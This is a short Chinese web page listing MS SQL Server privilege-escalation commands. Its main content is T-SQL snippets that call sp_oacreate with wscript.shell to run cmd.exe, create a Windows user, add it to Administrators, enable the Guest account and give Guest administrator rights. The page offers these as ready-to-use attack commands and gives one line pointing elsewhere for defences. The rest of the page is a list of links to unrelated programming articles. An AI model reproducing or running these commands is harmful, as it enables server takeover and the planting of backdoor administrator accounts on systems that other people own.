SQL 提权 常用命令
时间:2024-01-23 03:21:45
1、连接数据库
driver={SQL Server};server=服务器IP;uid=用户名;pwd=密码;database=数据库名
2、添加新用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
3、把用户加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
4、激活GUEST用户
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user guest /active:yes'
5、把Guest加到管理组
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup Administrators Guest /add'
关于防范方法,可以参考脚本之家服务器安全设置栏目。
![](/images/zang.png)
![](/images/jiucuo.png)
猜你喜欢
js算法实例之字母大小写转换
![](https://img.aspxhome.com/file/2023/2/136832_0s.png)
JSP request.setAttribute()详解及实例
python框架django项目部署相关知识详解
![](https://img.aspxhome.com/file/2023/8/64658_0s.png)
Python必备技能之debug调试教程详解
![](https://img.aspxhome.com/file/2023/0/68380_0s.png)
用Python实现BP神经网络(附代码)
![](https://img.aspxhome.com/file/2023/9/100259_0s.jpg)
PHP mysql_result()函数使用方法
python光学仿真通过菲涅耳公式实现波动模型
![](https://img.aspxhome.com/file/2023/9/124679_0s.png)
Python如何在DataFrame增加数值
认识那些被忽略的SQL Server注入技巧
详解Python中的相对导入和绝对导入
python 如何读、写、解析CSV文件
![](https://img.aspxhome.com/file/2023/7/97627_0s.jpg)
TypeScript新语法之infer extends示例详解
![](https://img.aspxhome.com/file/2023/3/56383_0s.jpg)
微信小程序中data-key属性之数据传输(经验总结)
![](https://img.aspxhome.com/file/2023/4/136394_0s.png)
解决pycharm下载库时出现Failed to install package的问题
![](https://img.aspxhome.com/file/2023/0/72890_0s.png)
python3 cookbook中常遇问题解答
Go 多环境下配置管理方案(多种方案)
![](https://img.aspxhome.com/file/2023/8/123948_0s.png)
OpenCV2.3.1+Python2.7.3+Numpy等的配置解析
![](https://img.aspxhome.com/file/2023/2/100282_0s.png)
Python with用法实例
Python终端输出彩色字符方法详解
![](https://img.aspxhome.com/file/2023/4/88874_0s.png)
python使用mysql的两种使用方式
![](https://img.aspxhome.com/file/2023/9/82739_0s.png)